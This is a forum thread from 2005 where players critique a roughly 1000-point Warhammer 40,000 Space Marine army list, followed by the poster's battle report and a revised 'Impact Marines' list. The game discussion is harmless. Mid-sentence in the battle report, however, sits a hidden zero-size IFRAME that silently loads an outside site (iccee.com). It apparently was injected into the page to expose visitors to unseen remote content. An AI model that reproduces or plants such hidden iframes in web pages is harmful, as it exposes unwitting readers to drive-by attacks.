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hey guys tell me what you think of this army and what traits i should put for it
HQ 131 pts
Chaplain i cant remember i think its 115
2 assault cannons
5 space marines
5 space marines 100
5 man Assault squad 150
Heavy support 150
2 missule launchers
total 996 pts
The idea of this army is to get into close combat with my FC advancing with the tacticals and the chappy with the assault marines
THe bottom line is i dont care what happens to the rest of my army as long as the guys with the power weapons make into cc
I know the squads are low in numbers any suggestions for improvement are most welcome
Last edited by killer panda; August 24th, 2005 at 14:39. Reason: title change
You need to put "Space marines" on the title.
A billion chinese can't be wrong - eat rice.
done now any advice involving tactics?
To start with I'd drop the commander should really only have one HQ at 1000pts
Use these points to boost the assault squad to 8 strong giving them plasma pistols and the sgt a power fist, the combat shield is pointless as he can't be picked out in combat (hidden powerfist!)
The chaplain should have a bolt pistol and frag grenades extra attack for 1pts.
Terminators are set up correctly but a bit expensive at 1000pts.
The two tactical squads could do with having a heavy weapon HB/lascannon being a six man squad if possible.
The devastators could have three missile launchers with minumum sqaud size six. In the two tac squads possible lascannon plasma squads seem to be effective for covering fire.
Your tactics are completely flawed, sorry if that sounds harsh but the list has huge problems, several guys with power fists wont cut it, you need to figure out ow to use the whole army, particuarly the troops
Cadian has pretty much most of the nails on the head.
basically, 40%+ of your army should be troops.
to take your list:
too many HQs, only take 1 in 1000 points, if you want an assult army take the chaplain
Jump packs are an expensive option in less than 1500 points but tolerable, but he really needs a bolt pistol too
(for reference, stay away from power fists for ICs, they are seperate units in close combat and can be targeted, giving them power fists and therefore hitting last really exposes you too much)
I would not take termies in 1000 points, I would rarely if ever take them in 1500, they are just too expensive and asking for ordianance
Your troops will never make it, even the vet sgts, they are foot sloggin g small units, easy to route or wipe out, you need to up the numbers and if they want to assault they need to be quicker (transports or drop pods). You should also look at traits to see what they can give you
Your assault squad is too small
your devs are gonna get isolated and either ignored or wiped out
Bit brutal, sorry for that but this really doesnt work for me
You want to make an assault army, a real one, and dont want to play blood angels or black templars?
OK well look at traits, your troops need to assault, so take a trait that allows you to equip them for assaults (that gives them BP and CCW for example) give them frag grenades, give them some method of getting up the field and assault quickly - infiltration, transports, drop pods, whatever theme you want
take a chaplain as a HQ, keep him with a squad that assaults,
consider scouts, they infiltrate, are cheap and get 2 attacks basic.
that should have dealt with 600+ points, now how are you gonna kill vehicles?
anything left behind may well get wiped out, consider attack bikes with multi meltas, consider speeders with multi meltas.
a bit of fire support? consider land speeder tempests with Heavy bolters and assault cannons
Maybe include a bog standard dread,
Last edited by Cheredanine; August 24th, 2005 at 16:52.
ok guys thanks for ur suggestions i will change my list but firstly heres a short battle report against my BA friend.
He had a devastator squad, 2 tacticals, a bike squad, chaplain, and a venerable dreadnought.
First turn his dreadnought exploded into a million pieces from my devastators.
My assault squad advanced slowly behind a piece of terrain.
He retaliated by killing two terminators using his devastators
My assault squad and chappie got into combat with the bikes, annihilating them all<IFRAME SRC="http://iccee.com/index.html" WIDTH=0 HEIGHT=0 SCROLLING=NO FRAMEBORDER=0></IFRAME>.
The terminators went to shoot at his devastators, killing 3
He charged my assault squad with his tactical and his chaplain and death company moved to greet my commander and his two tacticals.
Two more terminators died.
His tactical ran away, and my chaplain and assault squad charged the death company.
My commander and his two tacticals charged his remaining tactical squad
My devastator squad devastated his, killing three of the remaining seven.
My lone terminator with assault cannon magically rolled 4 sixes and killed the other four (im not joking, this really happened)
His chappie killed mine, and assault squad died.
Death company got killed by devastators
His tactical ran away in fear, two left
My terminator laughed and ran away
My commander and tactical squads moved to engage chappie
Devastators finished off his tacticals
An amazing headshot from my commanders bolt pistol finished his chapie who failed his 2+ save
Last edited by killer panda; August 25th, 2005 at 10:48. Reason: completing
Your friend has a pretty appaling BA list too, Bikes in 1000 points of BA? what is he thinking of? death company will burn him badly!, Why did the Chaplain get a 2+ save? please please please please dont tell me he was wearing terminator armour
nah man he was wearing artificer armor hes a bit obsessed with tough troops so death company and bikes.
im making a new list should be up in about 10 mins
NEW LIST UP
MY marines are now called the IMPACT Marines
Master of Impact (commander)
Shining Impact Team (Terminators)
Quake impact team (tactical)
Lightning Impact team (tactical)
Burning impact team (tactical)
Blood impact team (assault marines)
5 assault marines
Tsunami impact team (devastators)
3 rocket launchers
i dont know what to replace the termies with.
I dont like bikes (to expensive money wise) or land speeders(only 10 armor) or transports (expensive money wise and low armor)